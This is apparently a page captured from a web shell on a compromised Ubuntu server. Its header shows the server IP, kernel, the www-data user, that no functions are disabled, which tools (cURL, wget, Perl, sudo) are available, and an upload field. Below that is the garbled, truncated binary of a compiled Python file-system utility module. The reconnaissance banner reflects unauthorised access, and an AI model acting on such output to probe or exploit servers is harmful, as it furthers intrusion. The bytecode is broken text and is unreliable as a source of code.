Server IP : 15.235.198.142 / Your IP : 216.73.216.190 Web Server : Apache/2.4.58 (Ubuntu) System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 8.3.6 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /lib/python3/dist-packages/landscape/lib/__pycache__/ |
Upload File : |
� �~�e0 � �\ � d Z ddlZddlZddlmZ d� Zd� Zd� Zd� Zdd�Z dd �Z e ZeZdd �Z y)zFile-system utils� N)�longc �: � t | |j d� � y)z�Create a file with the given content. The content is encoded with utf-8 before writing. @param path: The path to the file. @param content: The content to be written in the file. �utf-8N)�create_binary_file�encode��path�contents �2/usr/lib/python3/dist-packages/landscape/lib/fs.py�create_text_filer s � � �t�W�^�^�G�4�5� c �h � t | d� 5 }|j |� ddd� y# 1 sw Y yxY w)z�Create a file with the given binary content. @param path: The path to the file. @param content: The content to be written in the file. �wbN��open�write�r r �fds r r r s1 � � �d�D� � �R� ������ � �� �(�1c �: � t | |j d� � y)a Append a file with the given content. The file is created, if it doesn't exist already. The content is utf-8 encoded before it is written. @param path: The path to the file. @param content: The content to be written in the file at the end. r N)�append_binary_filer r s r �append_text_filer s � � �t�W�^�^�G�4�5r c �h � t | d� 5 }|j |� ddd� y# 1 sw Y yxY w)z�Append a file with the given binary content. The file is created, if it doesn't exist already. @param path: The path to the file. @param content: The content to be written in the file at the end. �abNr r s r r r * s1 � � �d�D� � �R� ������ � �r c �r � t | |�dn|dz � }|j dd� }|�|S |dk\ r|d| S ||d S )a� Return the content of the given file as string. @param path: The path to the file. @param limit: An optional read limit. If positive, read up to that number of characters from the beginning of the file. If negative, read up to that number of bytes from the end of the file. @return content: The content of the file string, possibly trimmed to C{limit} characters. N� r �replacer )�read_binary_file�decode)r �limitr s r �read_text_filer! 6 sS � �"